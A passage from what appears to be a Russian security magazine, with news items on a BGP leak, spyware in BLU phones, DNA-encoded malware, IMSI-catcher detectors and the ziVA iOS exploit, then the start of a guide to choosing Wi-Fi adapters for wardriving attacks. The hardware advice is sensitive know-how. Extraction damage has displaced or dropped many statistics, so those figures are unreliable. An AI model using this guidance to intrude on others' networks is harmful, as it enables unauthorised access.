помень ше, OCN и KDDI Corp. Сум марно NTT пре дос тавля ет услу ги 7,67 мил‐ 
лиона час тных лиц и 480 тысячам ком паний.

В общей слож ности сбой зат ронул 135 тысяч сетевых пре фик сов по все му
миру, и более 24 тысяч из них при над лежали NTT, который пос тра дал от сбоя
боль ше дру гих. Пред ста вите ли Google и Verizon при нес ли офи циаль ные изви‐ 
нения,  одна ко  не  пояс нили,  стал  дан ный  инци дент  резуль татом  сбоя  обо‐ 
рудо вания или виной все му был прес ловутый челове чес кий фак тор.

ЗАФИК СИРОВАН ВОСЬ МИК РАТНЫЙ РОСТ УТЕ ЧЕК ПЕР ‐
СОНАЛЬ НЫХ И ФИНАН СОВЫХ ДАН НЫХ ИЗ ОРГА НИЗА ЦИЙ
По  дан ным  ана лити чес кого  цен тра  InfoWatch,  в  пер вом  полуго дии  2017  года  в  откры тых

источни ках была обна родо вана информа ция о 925 слу чаях уте чек кон фиден циаль ной информа‐ 

ции. Это на 10% пре выша ет количес тво уте чек дан ных за ана логич ный пери од 2016 года.

 

   

→ В янва ре — июне 2017 года объ ем ском про мети рован ных пер сональ ных и пла теж ных дан ных

вырос в   по срав нению с 2016 годом: с   мил лиар да до   мил лиар да записей. Объ‐ 

ем потерян ной  чувс тви тель ной информа ции  в  пер вом полуго дии  уве личил ся  в  резуль тате 

мега уте чек (свы ше 10 мил лионов записей), на которые приш лось   всех пос тра дав ших дан‐ 

ных.
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98%
При чиной   уте чек в мире ста ли внут ренние наруши тели в орга низа циях.58% Нек валифи‐ 

циро ван ные утеч ки, которые не были соп ряжены с пре выше нием прав дос тупа и исполь зовани‐ 

ем дан ных в целях мошен ничес тва, были зафик сирова ны в   слу чаев.84%

 → Воз росло  сред нее  чис ло  пос тра дав ших  записей:  в  рас чете  на  одну  утеч ку  в  резуль тате

внеш него  воз дей ствия  при ходи лось    мил лиона  записей  (по  срав нению  с  2,4  мил лиона

в  2016  году)  и    мил лиона  записей  на  каж дую  утеч ку,  допущен ную  по  вине  внут ренне го

наруши теля  (0,8  мил лиона  в  2016  году). 

13,6
4,5

На иболь ший  инте рес  зло умыш ленни ки  про явля ли

к  бан кам  и  ком пани ям  высоко тех нологич ного  сег мента.  В  этих  отраслях  более    уте чек

носили умыш ленный харак тер.
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AMAZON ЗАБАНИЛ
BLU
В кон це 2016 года сот рудник ком пании Kryptowire при обрел на отды хе бюд‐ 
жетный смар тфон BLU R1 HD и слу чай но заметил, что устрой ство генери рует
подоз ритель ный сетевой тра фик. Деталь ное изу чение воп роса показа ло, что
девайс под держи вает связь с китай ски ми сер верами, при над лежащи ми ком‐ 
пании Shanghai Adups Technology Company, более извес тной как Adups.

Как ока залось, устрой ства ком пании BLU и дру гих про изво дите лей содер‐ 
жат сис тему обновле ния ПО FOTA (Firmware Over The Air), которую раз рабаты‐ 
вает  Adups.  FOTA  по  сути  пред став ляет  собой  бэк дор,  который  пос тоян но
дер жит  связь  с  сер верами  китай ской  ком пании и  спо собен  сли вать  на  сто‐ 
рону самую раз ную информа цию о поль зовате лях. При этом решени ями ком‐ 
пании  Adups  поль зуют ся  более  400  мобиль ных  опе рато ров  и  про изво дите‐ 
лей,  а про дук ты  ком пании  уста нов лены на 700 мил лионах Android‐устрой ств
по все му миру.

Пред ста вите ли  Adups  отри цали,  что  FOTA — шпи онское ПО,  и  заяв ляли,
что сис тема собира ла дан ные по ошиб ке. Раз работ чики пообе щали позабо‐ 
тить ся  о  том,  что бы  подоб ное  не  пов торилось  в  новых  вер сиях  про шивок,
а помочь в этом им дол жны были спе циалис ты BLU и Google.

Од нако в начале августа 2017 года ана лити ки Kryptowire выс тупили на кон‐ 
ферен ции  Black  Hat,  где  сооб щили,  что  смар тфо ны  BLU  по‐преж нему  пос‐ 
тавля ются в магази ны с пре дус танов ленной спай варью.

Пред ста вите ли  BLU  вновь  ста ли  отри цать  все  обви нения  спе циалис тов.
В  ком пании  завери ли,  что  шпи онское  ПО  было  уда лено  с  устрой ств
еще  в  2016  году  и  теперь  все  гад жеты  «чис ты»,  а  если  какие‐то  дан ные
и  переда ются  в  Китай,  то  это  обык новен ная  телемет рия  и  диаг ности чес кая
информа ция, какую собира ют и дру гие про изво дите ли смар тфо нов.

Но  заяв лени ям BLU не  повери ли  не  толь ко  спе циалис ты Kryptowire,  но  и
сот рудни ки  ком пании  Amazon.  Интернет‐магазин  сооб щил,  что  бюд жетные
устрой ства китай ско го про изво дите ля отны не зап рещены к про даже на Ama‐
zon. В будущем зап рет могут снять, если BLU устра нит най ден ные спе циалис‐ 
тами  проб лемы,  но  пока  пред ста вите ли  Amazon  не  хотят  под вергать  поль‐ 
зовате лей рис ку и рас простра нять заражен ные спай варью устрой ства.

 → «Всю жизнь я раз мышляю над воп росами „компь ютер vs человек“, так что все аспекты раз‐ 

работ ки ИИ кажут ся мне зах ватыва ющи ми. Но как праг матик я чувс твую, что мы не осо бен но

приб лижа емся к соз данию нас тояще го ИИ, во мно гих слу чаях это ско рее Допол ненная Иди отия

(Augmented Idiocy). То, что называ ется ИИ, не похоже на челове чес кий мозг, так что даже сам

тер мин вво дит в  заб лужде ние. Ма шины  спо соб ны  хорошо  выпол нять  свои  задачи. Они  выиг‐ 

рали  эту  вой ну  с  людь ми  еще  двес ти  лет  назад  в  Ман честе ре,  ког да  машины  ста ли  делать

дешевую  одеж ду.  Сегод ня  мы  можем  писать  и  про изно сить  сло ва,  которые,  казалось  бы,

понят ны  машинам,  и  они  учат ся  выпол нять  умс твен ные  задачи,  к  при меру  спо соб ны  играть

в игры луч ше, чем челове чес кий мозг. Но это лишь работа ПО, написан ного людь ми для дос‐ 

тижения  целей,  заложен ных  в  него  прог раммис тами.  Ник то  не  ждет,  что  машина  сядет

и  подума ет:  „Чем  бы  мне  занять ся  сегод ня?“  Это  лежало  бы  за  пре дела ми  син гуляр ности.

Мозг  —  это  гораз до  боль ше,  чем  прос то  опре делен ный  объ ем  информа ции,  обра ботан ной

за опре делен ный пери од вре мени. О его струк туре до сих пор мож но лишь стро ить догад ки»,

 об искусс твен ном интеллек те в нас тоящее вре мя.— Стив Воз няк

МАЛВАРЬ В ДНК
Мал варь,  закоди рован ная  в  ДНК,  хакеры,  про ника ющие  в  сети  кор пораций
через  обра зец  слю ны  или  кро ви  и  похища ющие  сек реты,  люди,  чья  ДНК
защище на  от  ана лиза  вре донос ным  кодом? Зву чит  как  науч ная фан тасти ка,
но,  похоже,  с  подоб ными  явле ниями  спе циалис ты  по  информа цион ной
безопас ности и биоин форма тике стол кнут ся уже в обоз римом будущем.

Груп па  уче ных  из Вашин гтонско го  уни вер ситета  под руководс твом Тада‐ 
ёши Коно (Tadayoshi Kohno) пред ста вила инте рес ный док лад на кон ферен ции
USENIX Security, про шед шей в Канаде 16–18 августа 2017 года. Иссле дова‐ 
тели сумели помес тить в цепоч ку ДНК работа ющую мал варь, которая спо соб‐ 
на  ата ковать  ДНК‐сек венсор  через  перепол нение  буфера  (buffer  overflow).
С  резуль татами  изыс каний  спе циалис тов  уже  мож но  озна комить ся  на  офи‐ 
циаль ном  сай те  уни вер ситета,  где  так же  был  опуб ликован  пос вящен ный
проб леме  .де таль ный док лад (PDF)

Спе циалис ты  рас ска зыва ют,  что,  хотя  от  реаль ных  «атак  через ДНК»  нас
пока отде ляют годы, уже сей час воз можно соз дать работа ющий proof‐of‐con‐
cept экс пло ит и опро бовать его в работе. Коно говорит, что в нас тоящее вре‐ 
мя  софт  для  такого  обо рудо вания,  как ДНК‐сек венсо ры,  пишут  без  оглядки
на воп росы безопас ности, но ско ро спе циалис там при дет ся думать не толь ко
о под клю чении к сети, USB‐накопи телях и челове чес ком фак торе, но и о дан‐ 
ных,  хра нящих ся в самих изу чаемых образцах ДНК,  то есть появит ся совер‐ 
шенно новый тип угроз.

Как  ока залось,  соз дать  биоло гичес кую мал варь,  которая  сох ранит  ста биль‐ 
ность и работос пособ ность пос ле помеще ния в ДНК, — задача не из лег ких.
Хотя спе циалис ты нацели вались на прос тую ата ку на перепол нение буфера,
даже с этим воз никли проб лемы. В ито ге в док ладе коман да приз нает ся, что
для воп лощения идеи в жизнь им приш лось нем ного сжуль ничать.

Де ло  в  том,  что,  как  пра вило,  дан ные  ДНК‐сек вениро вания  хра нят ся
в  фор мате  FASTQ,  для  работы  с  которым  исполь зует ся  спе циаль ное  ПО,
к при меру опен сор сное решение fqzcomp.

Нес мотря на то что подоб ное ПО час то содер жит баги (изу чив 13 популяр‐ 
ных  прог рамм,  уда лось  обна ружить  реаль ные  уяз вимос ти  прак тичес ки
во  всех),  иссле дова тели  были  вынуж дены  умыш ленно  прив нести  в  код  fqz‐
comp собс твен ную уяз вимость,  которая соз давала иде аль ные усло вия, спе‐ 
циаль но  для  ата ки  на  перепол нение  буфера.  Для  это го  было  добав‐ 
лено 54 стро ки кода на C++, а еще 127 строк были уда лены.

Би оло гичес кую  мал варь  помес тили  в  ДНК,  вос поль зовав шись  тем,  что
во вре мя сек вениро вания ДНК ее раз бира ют на сос тавля ющие  (аде нин  [A],
гуанин [G], цитозин [C] и тимин [T]), а обо рудо вание пре обра зует получен ные
дан ные в дво ичные еди ницы информа ции (A = 00, C = 01, G = 10, T = 11). Прав‐ 
да,  и  здесь  не  обош лось  без  проб лем.  К  при меру,  Коно  отме чает,  что  сек‐ 
вениро вание  ДНК  может  про исхо дить  в  любом  нап равле нии,  тог да  как  код
может  читать ся  толь ко  в  одном. Из‐за  подоб ных  нюан сов  ата ка  иссле дова‐ 
телей  сра баты вала  успешно  лишь  в  37%  слу чаев,  и  они  пред полага ют,  что
в будущем такие экс пло иты будут умыш ленно соз давать ся как «палин дро мы».

 →   акка унтов Yahoo пос тра дали в резуль тате взло ма. Ком пания Yahoo обна‐ 

родо вала новые детали взло ма, о  котором впер вые ста ло извес тно в  кон це 2016  года. Тог да

сооб щалось,  что  ата ка  про изош ла  еще  в  2013  году  и  неиз вес тные  зло умыш ленни ки  сумели

получить дос туп к информа ции более чем о мил лиар де поль зовате лей. При этом Минис терс тво

юсти ции  США  и  Yahoo  обви нили  в  хищении  дан ных  «рус ских  хакеров».  Теперь  была  опуб‐ 

ликова на новая информа ция: сто рон ние экспер ты, которых прив лекли к рас сле дова нию инци‐ 

ден та,  приш ли  к  выводу,  что  в  ходе  утеч ки  пос тра дали  три  мил лиар да  человек,  то  есть  вся

поль зователь ская база Yahoo. В рас поряже нии прес тупни ков мог ли ока зать ся име на, даты рож‐ 

дения, email‐адре са, номера телефо нов и пароли поль зовате лей.
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ЗАЩИТЫ ОТ IMSI‐
ПЕРЕХВАТЧИКОВ НЕТ
IMSI‐перех ватчи ки  широко  при меня ются  как  спец служ бами,  так  и  «пло хими
пар нями».  Они  исполь зуют  конс трук тивную  осо бен ность  мобиль ников  —
отда вать  пред почте ние  той  сотовой  выш ке,  чей  сиг нал  наибо лее  силь ный
(что бы мак сималь но повысить качес тво сиг нала и миними зиро вать собс твен‐ 
ное  энер гопот ребле ние).  Кро ме  того,  в  сетях  GSM  (2G)  толь ко  мобиль ник
дол жен  про ходить  про цеду ру  аутен тифика ции  (от  сотовой  выш ки  это го
не тре бует ся), и поэто му его лег ко ввес ти в заб лужде ние, в том чис ле что бы
отклю чить на нем шиф рование дан ных.

Нес мотря на немалое количес тво «защит ных» Android‐при ложе ний на рын‐ 
ке, которые дол жны пре дуп реждать поль зовате ля о под клю чении к  IMSI‐кет‐ 
черу, боль шинс тво из них нель зя наз вать  качес твен ными. Кро ме того,  такие
при ложе ния час то при водят к мно жес тву лож ных сра баты ваний (как пра вило,
из‐за недос таточ ной тех ничес кой ква лифи кации их раз работ чиков).

При ложе ния  для  защиты  от  IMSI‐перех ватчи ков  изу чила  свод ная  груп па
спе циалис тов  из  Оксфорд ско го  уни вер ситета  и  Бер лин ско го  тех ничес кого
уни вер ситета. Иссле дова тели про вери ли работу пяти популяр ных прог рамм:
SnoopSnitch,  Cell  Spy  Catcher,  GSM  Spy  Finder,  Darshak  и  IMSICD,  которые
нас читыва ют от 100 тысяч до 500 тысяч заг рузок в Google Play.

Для  тес тов спе циалис ты соз дали собс твен ный фрей мворк White‐Stingray,
спо соб ный  про водить  ата ки  на  2G‐  и  3G‐сети.  По  сути,  раз работ ка  иссле‐ 
дова телей  пред став ляет  собой  весь ма  «натура лис тичную»  ими тацию  ком‐ 
мерчес ких IMSI‐перех ватчи ков.

Тес тирова ние при ложе ний показа ло, что те край не ред ко замеча ют подоз‐ 
ритель ную  активность  и  спо соб ны  обна ружить  лишь  самые  рас простра нен‐ 
ные и прос тые тех ники атак. К при меру, при ложе ния фик сиру ют при нуди тель‐ 
ный  даун грейд  под клю чения  или  получе ние  «скры того»  тек сто вого  сооб‐ 
щения, которое исполь зует ся для опре деле ния мес тополо жения устрой ства.
Но спе циалис ты пишут, что ата кующим дос таточ но перек лючить ся на дру гую
тех нику атак и при ложе ния ока жут ся прак тичес ки бес силь ны. При чем меша ют
при ложе ниям  огра ниче ния  самого  API  Android,  с  которы ми  мало  что  мож но
поделать.

«Сей час пред став ленные на рын ке при ложе ния  ICD  [IMSI  catcher  de-
tector]  лег ко  обма нуть,  исполь зуя  прос тей шие  тех ники  обхо да,  так
как они силь но огра ниче ны и не име ют дос тупа к лежаще му в осно ве
мобиль ных  телефо нов  аппа рат ному  обес печению.  Сле дова тель но,
нуж но понимать, что ICD-при ложе ния — это не сереб ряная пуля в силу
дан ных фун дамен таль ных огра ниче ний», — пишут спе циалис ты.

ПО ПУЛЯР НОСТЬ МАЛ ВАРИ ДЛЯ МАЙ НИН ГА РАС ТЕТ
Кур сы  крип товалют  про дол жают  рас ти  и  выг лядят  все  заман чивее  даже  для  весь ма  далеких

от  IT‐сре ды  граж дан,  к  тому  же  блок чейн,  ICO  и  май нинг  обсужда ют  уже  пов семес тно,  а  не

толь ко на стра ницах про филь ных форумов и изда ний. Спе циалис ты «Лабора тории Кас пер ско‐ 

го»  сооб щают,  что  инте рес  прес тупни ков  к  этой  области  тоже  демонс три рует  законо мер ный

рост.

 → Ес ли в 2013 году май нин говая мал варь пред став ляла угро зу лишь для   поль зовате‐ 

лей, уже в 2014 году этот показа тель уве личил ся до  , а в 2016 году и вов се пре высил

 мил лиона человек.
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 → По самым скром ным оцен кам иссле дова телей, май нин говая сеть на   машин в сред‐ 

нем  при носит  сво им  вла дель цам  до    дол ларов  в  месяц. 

5 000
30  000 Изу чив  крип товалют ный

кошелек такого бот нета, спе циалис ты обна ружи ли   Monero (XMR), то есть более 

дол ларов США. При усло вии, что обыч ный ста ционар ный компь ютер выда ет мощ ность 

хешей в секун ду, мож но под счи тать, что бот нет нас читыва ет приб лизитель но   машин.
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ЭКСПЛОИТ ДЛЯ IOS
Эк сперт  ком пании Zimperium Адам Донен фелд  (Adam Donenfeld)  обна родо‐ 
вал proof‐of‐concept для решения ziVA — это экс пло ит для уяз вимос тей в ядре
iOS,  работа ющий  на  вер сии  10.3.1  и  ниже.  ziVA  поз воля ет  ата кующим
получить root‐дос туп с воз можностью чте ния и записи (RW, Read‐Write).

Все восемь уяз вимос тей, лежащие в сер дце экс пло ита, были исправ лены
инже нера ми ком пании Apple в мае 2017 года. Один баг был обна ружен в IO‐
Surface, а дру гие семь в AppleAVE Driver. И хотя патч был выпущен еще вес‐ 
ной, учи тывая серь езность проб лемы, Донен фелд при нял решение отло жить
пуб ликацию  экс пло ита,  тем  самым  давая  поль зовате лям  боль ше  вре мени
на обновле ние сво их устрой ств.

Ис сле дова тель говорит, что обна ружил проб лемы, изу чая те области ядра,
которые ред ко ста новят ся объ ектом вни мания спе циалис тов. По его сло вам,
при написа нии AppleAVE раз работ чики пре неб регли даже базовы ми пра вила‐ 
ми безопас ности, что в ито ге и поз волило спе циалис ту исполь зовать эти уяз‐ 
вимос ти для соз дания экс пло ита для ядра.

Proof‐of‐concept ziVA уже мож но най ти  . Кро ме того, Донен фелд
выс тупил на кон ферен ции Hack In The Box в Син гапуре, где 

 о сво их наход ках и воз можных пос ледс тви ях их экс плу ата ции.

на GitHub
под робно рас ска‐ 

зал

Уяз вимос ти, вошед шие в сос тав ziVA

 →   при ложе ний  для  iOS может  «сли вать»  дан ные.  Спе циалис ты  ком пании  Zimperium

пре дуп редили,  что  эко сис тема  iOS далеко не  так безопас на,  как  при нято  счи тать. Во  вто ром

квар тале 2017  года ана лити ки Zimperium обна ружи ли,  что чис ло уяз вимос тей в  iOS и Android

уве личи лось  на  порядок.  К  при меру,  в  2014  году  иден тифика торы  CVE  получи ли

менее 200 багов, тог да как в 2016 году их нас читыва лось более 600, а 2017 год уже прев зошел

пре дыду щий по дан ному показа телю. Так же уда лось под счи тать, что 23% iOS‐устрой ств и 94%

Android‐устрой ств исполь зуют уста рев шее ПО. Хуже того, ска ниро вание 50 тысяч iOS‐при ложе‐ 

ний  на  кор поратив ных  устрой ствах  показа ло,  что  на  каж дом  пятом  из  них  есть  как  минимум

одно при ложе ние, спо соб ное похитить UDID или пароли.
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http://dnasec.cs.washington.edu/dnasec.pdf
https://github.com/doadam/ziVA
http://gsec.hitb.org/sg2017/sessions/rootten-apples-vulnerability-heaven-in-the-ios-sandbox/
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Вар драй винг, он же перех ват тра фика Wi‐Fi, всег да начина‐ 
ется с выбора обо рудо вания. Имен но этим мы и зай мем ся:
в  удоб ном  фор мате  воп росов  и  отве тов  раз берем,  какие
девай сы  сущес тву ют  в  при роде,  для  каких  задач  они  под‐ 
ходят луч ше все го и что взять для начала.

ПОЧЕМУ ВАРДРАЙВИНГ — ЭТО КРУТО?
На  сай те  iPass  есть 
во  всем мире.  Толь ко  взгля ни  на  нее:  с  2013  года  при рост  поч ти  на  900%.
При мер но   мож но наб людать на сай те WiGLE, который 

.

ин терес ная  ста тис тика  рос та  чис ла  хот спо тов  Wi‐Fi

ту же кар тину со бира ет
информа цию о пуб личных точ ках дос тупа

То есть Wi‐Fi теперь вез де и всю ду; в более‐менее круп ных городах диапа‐ 
зон 2,4  ГГц  забит  по  пол ной. Мос ква,  кста ти,  недав но 

  по  рас простра нению  Wi‐Fi  в  общес твен ных  мес тах,  что  меня,
как  жителя  сто лицы  и  любите ля  Wi‐Fi‐хакин га,  раду ет  неверо ятно.  О  том,
какую роль игра ют SSID сетей MosMetro_Free и MT_FREE, я еще как‐нибудь
рас ска жу.

за няла вто рое мес то
в  мире

Тем  вре менем  .
К 2020 году мы уви дим 38,5 мил лиар да под клю чен ных устрой ств, пос тепен но
в жизнь  вой дут  новые  стан дарты,  рас счи тан ные  на  низ кое  энер гопот ребле‐ 
ние и IoT; воз можно, во что‐то выль ется перек рес тное опы ление с LTE в рам‐ 
ках LTE‐U и так далее и тому подоб ное.

Wi‐Fi  Alliance  обе щает,  что  все  толь ко  начина ется

В общем, ты уже понял: спе циалист, который рубит в безопас ности все го
это го доб ра, без кус ка хле ба не оста нет ся. :‐)

Сог ласно  пун кту  4.1.1  стан дарта  PCI  DSS  v.  2,
тре бует ся  регуляр но  про водить  аудит  безопас‐ 
ности  точек  дос тупа Wi‐Fi.  Кор рек тно  это мож но
сде лать  толь ко  теми  же  инс тру мен тами,  какие
исполь зуют ся  в  реаль ных  ата ках.  Статья  носит
информа цион ный харак тер. Она адре сова на спе‐ 
циалис там  по  ИБ  и  тем,  кто  собира ется  ими
стать.

КАКИЕ БЫВАЮТ СТАНДАРТЫ WI-FI?
Воз можно,  тебя  это  уди вит,  но Wi‐Fi  может  работать  не  толь ко  в  час тотных
диапа зонах  2,4  и  5  ГГц.  За  циф рами  802.11  скры вает ся  целый  набор  стан‐ 
дартов  для  обще ния  устрой ств  в  бес про вод ной  локаль ной  сети.  Несущие
час тоты быва ют самые раз ные. Вот их спи сок:

900 МГц — 802.11ah;•
2,4 ГГц — 802.11b, 802.11g, 802.11n, 802.11ax;•
3,6 ГГц — 802.11y;•
4,9 ГГц — 802.11j;•
5 ГГц — 802.11a, 802.11n, 802.11ac, 802.11ax;•
5,9 ГГц — 802.11p;•
45 ГГц — 802.11aj;•
60 ГГц — 802.11aj, 802.11ay.•

Ес ли  хочешь  еще  под тянуть  мат часть,  то  обя затель но  полис тай 
  в  «Википе дии»,  а  если  это го  покажет ся  мало,  то  перехо ди

к пер воис точни кам и начинай лопатить  .

стра ницу
про  IEEE  802.11

са ми стан дарты

РАБОТА С РАДИОЧАСТОТАМИ ЗАКОНОДАТЕЛЬНО РЕГУЛИРУЕТСЯ,
ВЕРНО?
Без лицен зии мож но работать далеко не на любой час тоте.  Такие нелицен‐ 
зиру емые  диапа зоны  получи ли  наз вание  ISM  (Industrial,  Scientific,  Medical).
Сет ку  час тот  и  мощ ность  передат чиков  для  таких  диапа зонов  регули руют
соот ветс тву ющие  орга ны.  Без  лицен зии  мож но  работать  толь ко  с  уче том
мес тных огра ниче ний.

В  Рос сии  эти ми  воп росами  занима ется  Рос комнад зор,  ныне  хорошо
извес тный каж дому. Но если в интерне те Рос комнад зор зна менит бла года ря
бло киров кам,  то  в  области  бес про вод ных  сетей  он,  наобо рот,  про дол жает
раз решать и раз решать.

В  2014  году  в  Рос сии  было    на  исполь зование  полос
ради очас тот  2400–2483,5  МГц  для  устрой ств  малого  ради уса  дей ствия.
В 2015 году был легали зован 802.11ac и за ком панию — 802.11ad.

сня то  огра ниче ние

НА КАКИХ ЧАСТОТАХ МОЖНО РАБОТАТЬ БЕЗ ОГРАНИЧЕНИЙ?
Без  раз решения  Рос комнад зора  воз можно  исполь зование  сле дующих
диапа зонов  ради очас тот,  бес помехо вая  работа  РЭС  в  которых  не  обес‐ 
печена:  2400–2483,5  МГц  для  РЭС  с  мак сималь ной  мощ ностью  передат‐ 
чика  0,1  Вт  (каналы  1–13),  5150–5350 МГц  для  РЭС  с  мак сималь ной  мощ‐ 
ностью  передат чика  0,2  Вт  и  толь ко  для  при мене ния  в  зак рытых  помеще‐ 
ниях — каналы 36–64, диапа зоны UNII‐1 и UNII‐2.

Ди апа зон же 5650–5825 МГц (каналы 132–161) пока по‐преж нему открыт
для воз душных судов, находя щих ся в полете на высоте не ниже 3000 м. Как ты
понима ешь,  в  нераз решен ных  час тях  спек тра  может  оби тать  раз ного  рода
обо рудо вание. Нап ример, радары или релей ки. Так что оста ется ждать улуч‐ 
шений.

Кро ме  это го,  для  диапа зонов  5150–5350  МГц  и  5650–5850  МГц  была
удво ена мак сималь но допус тимая мощ ность (до 10 мВт) на 1 МГц.

Ис поль зование  Wi‐Fi‐адап теров  с  мощ ностью
излу чения  передат чика  более  100  мВт 

  в  соот ветс твии  с  пун‐ 
ктом  2  статьи  22  Федераль ного  закона
от 07.07.2003 № 126‐ФЗ «О свя зи» и Пос танов‐ 
лени ем  Пра витель ства  РФ
от 12 октября 2004 года № 539 (с изм.).

тре бует
регис тра ции

КАКИЕ УСТРОЙСТВА ПРИГОДНЫ ДЛЯ ВАРДРАЙВИНГА?
Глав ный выбор, который тебе пред сто ит сде лать, — это даже не кон крет ная
модель  устрой ства,  а  его  тип. Сущес тву ют USB‐адап теры  (они же  «дон глы»
и «свис тки», а на жар гоне их иног да называ ют «кар точка ми»), Wi‐Fi‐роуте ры,
а  так же  мик рокон трол леры  с  под дер жкой  Wi‐Fi.  Ты  можешь  исполь зовать
телефон или план шет, но и тут  гораз до луч ших резуль татов мож но добить ся
в связ ке с внеш ним адап тером.

ПОЧЕМУ МНОГИЕ ОБХОДЯТСЯ USB-АДАПТЕРОМ («СВИСТКОМ»)?
Это  удоб но,  при выч но и обыч но дешев ле,  чем роутер.  Есть  немалый  выбор
хорошо зареко мен довав ших себя адап теров с режимом монито рин га (имен‐ 
но он понадо бит ся  тебе для про веде ния атак). В общем, всем начина ющим
я бы посове товал брать «свис ток» — он в любом слу чае еще не раз при годит‐ 
ся.

НЕЛЬЗЯ ЛИ ЛОМАТЬ WI-FI С ПОМОЩЬЮ АДАПТЕРА,
ВСТРОЕННОГО В НОУТБУК?
Вы нуж ден  тебя  огор чить:  чипы,  которые  ста вят  в  ноут буки,  обыч но  нель зя
перек лючить в режим монито рин га,  так  что и  говорить  тут не о  чем. И даже
если бы это было воз можно, даль ность при ема встро енной антенны в ноут‐ 
буке обыч но невели ка, а внеш нюю под клю чать некуда.

С ЧЕГО НАЧАТЬ ВЫБОР АДАПТЕРА?
Су щес тву ет великое мно жес тво вари антов, но далеко не все из них при год ны
для  хакин га. Советую для начала  заг лянуть на   и пос мотреть спи сок
рекомен дуемых  адап теров.  Так же  немало  информа ции  ты  можешь  най ти
на  сай те  WirelesSHack  в  раз деле  .  Глав ное,  на  что  нуж но
смот реть при выборе, — это под дер жка режима монито рин га и воз можность
под клю чить  внеш нюю  антенну,  потому  что  без  нее  о  какой‐то  даль нос ти
говорить  не  при ходит ся.  И  конеч но,  луч ше  все го  брать  адап тер  с  хорошо
зареко мен довав шим себя чипом.

WikiDevi

Wi‐Fi  and  Wireless

КАКИЕ ЕСТЬ ИЗВЕСТНЫЕ ПРОИЗВОДИТЕЛИ ЧИПОВ WI-FI?
Ос новные  про изво дите ли  чипов  —  Qualcomm  Atheros,  Broadcom,  Realtek
и MediaTek  (в  прош лом Ralink).  Если срав нивать про изво дите лей,  то Atheros
счи тает ся  иде аль ным  решени ем  для  хакин га.  К  при меру,  ком пания  Ubiquiti
исполь зует в основном чипы Atheros для соз дания устрой ств про фес сиональ‐ 
ного  уров ня.  Боль шая  часть  рекор дов  даль нос ти  Wi‐Fi  была  пос тавле на
с исполь зовани ем обо рудо вания Ubiquiti.

КАКОЙ АДАПТЕР ЛУЧШЕ ВСЕГО БРАТЬ?
Каж дый волен выбирать, что ему нра вит ся, но нович кам я в пос леднее вре мя
рекомен дую  исклю читель но  TP‐Link WN722N. На  то  есть  целый  ряд  при чин:
дешевиз на, дос тупность (мож но най ти в боль шинс тве компь ютер ных магази‐ 
нов),  под дер жка  необ ходимых  режимов,  под дер жка  mac80211  (стан дарт
де‐фак то для драй веров адап теров Wi‐Fi). Для WN722N есть исходные коды
про шив ки и опен сор сные драй веры, что очень при годит ся для вне сения сво‐ 
их модифи каций. Так же отме чу ста биль ность и скром ные зап росы к питанию
(0,5  A  на  мак симуме).  Это  дела ет  воз можным  под клю чение  к  мобиль ным
устрой ствам через кабель OTG — в Kali NetHunter эта кар та под держи вает ся.
С TP‐Link WN722N воз можно ска ниро вать спектр, а так же про водить некото‐ 
рые прод винутые ата ки на 802.11. В общем,  все,  что  толь ко может понадо‐ 
бить ся.

TP‐Link WN722N

Пос ле  пуб ликации  статьи  читатель  под  ником  InfiniteSuns  прис лал  допол‐ 
нение:  у  адап теров 722N с  недав них  пор появи лась 

.
вто рая  ревизия железа

на крис талле RTL8188EUS
Та ким обра зом, ска зан ное про Atheros спра вед ливо толь ко по отно шению

к 722N ревизии 1.Х. Для наших целей искать сле дует имен но такие адап теры.

А КАК ЖЕ ЛЕГЕНДАРНАЯ «АЛЬФА»?
Мно гие  начина ющие  вар драй веры  ста рают ся  купить  так  называ емую  «Аль‐ 
фу», то есть один из адап теров Alfa Networks. Но этот про изво дитель выпус‐ 
кает мас су устрой ств на самых раз ных чип сетах, так что «та самая» Alfa может
быть очень раз ной. Для меня,  как и для мно гих,  это Alfa AWUS036H. В свое
вре мя это была самая желан ная «кар точка»,  так как у нее есть собс твен ный
уси литель. Осталь ные  устрой ства  Alfa  тоже  отлично  спро екти рова ны  и  соб‐ 
раны, но я бы не ска зал, что уни каль ны.

Увы, луч шие дни Alfa AWUS036H уже позади. В ее осно ве — чип сет Realtek
8187L,  которо му  неведом  стан дарт  802.11n,  как  и  режим  точ ки  дос тупа.
При ата ках на WPS со сла бым уров нем сиг нала Alfa AWUS036H по‐преж нему
вне кон курен ции, но во всех дру гих слу чаях ничего осо бен ного в ней нет. Да и
к мобиль ному телефо ну ее, увы, не под клю чишь — уси литель тре бует слиш‐ 
ком мно го энер гии.

Су щес тву ют  адап теры  Alfa  с  мар киров кой  Long‐Range.  Уси лите ля  в  них
нет, но зато туда ста вят хорошие филь тры и чип TeraLink, к которо му уже есть
«пра виль ные» дро ва. Так что можешь рас смот реть как вари ант.

Alfa AWUS036H

НУЖЕН ЛИ КАКОЙ-ТО СПЕЦИАЛЬНЫЙ КАБЕЛЬ?
Преж де чем под клю чать адап тер к компь юте ру, сле дует обес печить надеж ное
питание,  что бы  избе жать  сбо ев.  Это  важ но  для  всех  ВЧ‐устрой ств,  а  если
у тебя Alfa AWUS036H, то сто ит пом нить про ее повышен ное энер гопот ребле‐ 
ние.  Не  все  кабели USB  оди нако во  полез ны,  и  от  качес тва  может  зависеть
сила  тока  (кос венным  показа телем  качес тва  может  быть  тол щина).  Так  что,
при обре тя хорошую «кар точку», луч ше не под соеди няй ее чем попало.

НУЖНО ЛИ ИСКАТЬ АДАПТЕР С USB 3.0, ИЛИ ХВАТИТ USB 2.0?
Боль шинс тво  адап теров  снаб жены  интерфей сом  USB  2.0,  потому  что  USB
3.0 вно сит зна читель ные огра ниче ния. Серь езные про изво дите ли чипов (тот
же Atheros) под держи вают диапа зон 5 ГГц толь ко на кар тах с PCI‐E — имен но
их  я  и  рекомен дую  брать  для  работы  с  5  ГГц.  А  для  осталь ного  подой дет
и USB 2.0.

МОЖНО ЛИ НАЙТИ ПРИЛИЧНЫЙ АДАПТЕР НА ALIEXPRESS?
На  китай ских  раз валах  пол но  раз ных  адап теров,  в  том  чис ле  кло нов  извес‐ 
тных  марок  вро де  Alfa.  Но,  выбирая  из  них,  нуж но  быть  очень  осто рож ным:
при веден ные  харак терис тики  зачас тую  не  соот ветс тву ют  дей стви тель нос ти
и  даже  чип  может  быть  уста нов лен  не  той  модифи кации,  что  ука зан  в  опи‐ 
сании.  Автор  «Хакера»  под робно  рас смот рел  нес коль ко  таких  вари антов
в статье « ». Как резуль тат —
